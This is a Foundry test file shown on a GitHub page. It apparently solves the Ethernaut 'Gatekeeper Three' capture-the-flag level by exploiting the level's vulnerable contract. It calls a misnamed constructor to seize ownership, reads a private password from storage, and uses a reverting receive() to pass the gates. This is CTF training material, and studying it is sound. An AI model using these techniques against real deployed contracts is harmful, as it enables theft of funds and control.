-
Notifications
You must be signed in to change notification settings - Fork 21
/
GatekeeperThree.t.sol
45 lines (33 loc) · 1.27 KB
/
GatekeeperThree.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "./GatekeeperThreeFactory.sol";
contract GatekeeperThreeTest is Test {
GatekeeperThreeFactory factory;
function setUp() public {
factory = new GatekeeperThreeFactory();
}
function testGatekeeperThree() public {
address player = vm.addr(uint256(keccak256("player")));
address gatekeeperThree = factory.createInstance(player);
vm.startPrank(address(this), player);
{
// gateOne
GatekeeperThree(payable(gatekeeperThree)).construct0r();
// gateTwo
GatekeeperThree(payable(gatekeeperThree)).createTrick();
uint256 _password =
uint256(vm.load(address(GatekeeperThree(payable(gatekeeperThree)).trick()), bytes32(uint256(2))));
GatekeeperThree(payable(gatekeeperThree)).getAllowance(_password);
// gateThree
payable(payable(gatekeeperThree)).call{value: 0.0011 ether}("");
// enter
GatekeeperThree(payable(gatekeeperThree)).enter();
}
vm.stopPrank();
assertTrue(factory.validateInstance(payable(gatekeeperThree), player));
}
receive() external payable {
revert();
}
}